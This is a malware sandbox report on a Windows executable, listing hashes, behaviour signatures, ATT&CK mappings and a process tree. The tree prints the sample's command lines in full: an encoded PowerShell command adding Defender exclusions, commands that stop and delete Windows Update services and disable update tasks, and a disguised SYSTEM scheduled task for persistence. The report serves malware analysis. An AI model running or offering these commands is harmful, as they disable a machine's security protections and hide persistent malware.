a44d659227b87e959a7807b9d85d2fd571665a4296590ed59114cc5b3ebf94f0

General

Target

fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe
Size

4.3MB
MD5

ccaffcd12dcb30adb5250f30026ecd1e
SHA1

4048dc71db497f641a4f35eb00ac3c163c394978
SHA256

fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa
SHA512

a196e58aaff3f68e15df0de667541d103c78d0f8cf114ff3f5770444de1a30b0dc46c4d0dcafbc8bd81538660d401c57dc18de8b6b3769b81cc4e8ff7f316286
SSDEEP

98304:w1XNI4kmUg+DgxP1Wrj3DIIs0LHhjwSKVjV3:w9NInmUg5xqX/sCHhj7K5p

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1712 takeown.exe
636 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1712 takeown.exe
636 icacls.exe

pid	process
1712	takeown.exe
636	icacls.exe

pid	process
1712	takeown.exe
636	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

1992 sc.exe
584 sc.exe
2032 sc.exe
1256 sc.exe
1328 sc.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1284 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1404 reg.exe
1836 reg.exe
812 reg.exe
1608 reg.exe
1572 reg.exe
932 reg.exe
1536 reg.exe
1840 reg.exe
1296 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

1516 powershell.exe
2044 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.execonhost.exetakeown.exe

description pid process

Token: SeDebugPrivilege 1516 powershell.exe
Token: SeDebugPrivilege 2044 conhost.exe
Token: SeTakeOwnershipPrivilege 1712 takeown.exe

pid	process
1992	sc.exe
584	sc.exe
2032	sc.exe
1256	sc.exe
1328	sc.exe

pid	process
1284	schtasks.exe

pid	process
1404	reg.exe
1836	reg.exe
812	reg.exe
1608	reg.exe
1572	reg.exe
932	reg.exe
1536	reg.exe
1840	reg.exe
1296	reg.exe

pid	process
1516	powershell.exe
2044	conhost.exe

description	pid	process
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	2044	conhost.exe
Token: SeTakeOwnershipPrivilege	1712	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1324 wrote to memory of 2044	1324	fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe	conhost.exe
PID 1324 wrote to memory of 2044	1324	fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe	conhost.exe
PID 1324 wrote to memory of 2044	1324	fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe	conhost.exe
PID 1324 wrote to memory of 2044	1324	fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe	conhost.exe
PID 2044 wrote to memory of 1988	2044	conhost.exe	cmd.exe
PID 2044 wrote to memory of 1988	2044	conhost.exe	cmd.exe
PID 2044 wrote to memory of 1988	2044	conhost.exe	cmd.exe
PID 1988 wrote to memory of 1516	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 1516	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 1516	1988	cmd.exe	powershell.exe
PID 2044 wrote to memory of 1796	2044	conhost.exe	cmd.exe
PID 2044 wrote to memory of 1796	2044	conhost.exe	cmd.exe
PID 2044 wrote to memory of 1796	2044	conhost.exe	cmd.exe
PID 1796 wrote to memory of 1992	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1992	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1992	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 584	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 584	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 584	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 2032	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 2032	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 2032	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1256	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1256	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1256	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1328	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1328	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1328	1796	cmd.exe	sc.exe
PID 1796 wrote to memory of 1608	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1608	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1608	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1572	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1572	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1572	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 932	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 932	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 932	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1536	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1536	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1536	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1404	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1404	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1404	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1712	1796	cmd.exe	takeown.exe
PID 1796 wrote to memory of 1712	1796	cmd.exe	takeown.exe
PID 1796 wrote to memory of 1712	1796	cmd.exe	takeown.exe
PID 1796 wrote to memory of 636	1796	cmd.exe	icacls.exe
PID 1796 wrote to memory of 636	1796	cmd.exe	icacls.exe
PID 1796 wrote to memory of 636	1796	cmd.exe	icacls.exe
PID 2044 wrote to memory of 1668	2044	conhost.exe	cmd.exe
PID 2044 wrote to memory of 1668	2044	conhost.exe	cmd.exe
PID 2044 wrote to memory of 1668	2044	conhost.exe	cmd.exe
PID 1668 wrote to memory of 1284	1668	cmd.exe	schtasks.exe
PID 1668 wrote to memory of 1284	1668	cmd.exe	schtasks.exe
PID 1668 wrote to memory of 1284	1668	cmd.exe	schtasks.exe
PID 1796 wrote to memory of 1840	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1840	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1840	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1836	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1836	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 1836	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 812	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 812	1796	cmd.exe	reg.exe
PID 1796 wrote to memory of 812	1796	cmd.exe	reg.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe
"C:\Users\Admin\AppData\Local\Temp\fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1324

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fef75dbf20c3ba832b5ed9d057f26e61915501bae7c1e11c367793546c7713aa.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAbgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBlAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdgBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAZwAjAD4A"
3⤵
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGUAbgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBlAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdgBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAZwAjAD4A"
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1992

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:584

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:2032

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1256

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1328

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1608

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1572

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:932

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1536

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1404

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:636

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1840

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1836

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:812

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1296

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1632

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1816

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1828

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1976

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1844

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:928

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1764

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:1284

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1616

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:1380

C:\Windows\system32\taskeng.exe
taskeng.exe {3488D7F6-801B-4CF5-8293-44D194216BC3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1324

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/1516-62-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/1516-63-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/1516-64-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/1516-65-0x000000000257B000-0x00000000025B2000-memory.dmp

Filesize
220KB

Download
memory/2044-54-0x0000000000160000-0x000000000057C000-memory.dmp

Filesize
4.1MB

Download
memory/2044-55-0x000000001BA20000-0x000000001BE3C000-memory.dmp

Filesize
4.1MB

Download
memory/2044-56-0x000000001B580000-0x000000001B600000-memory.dmp

Filesize
512KB

Download
memory/2044-57-0x000000001B580000-0x000000001B600000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads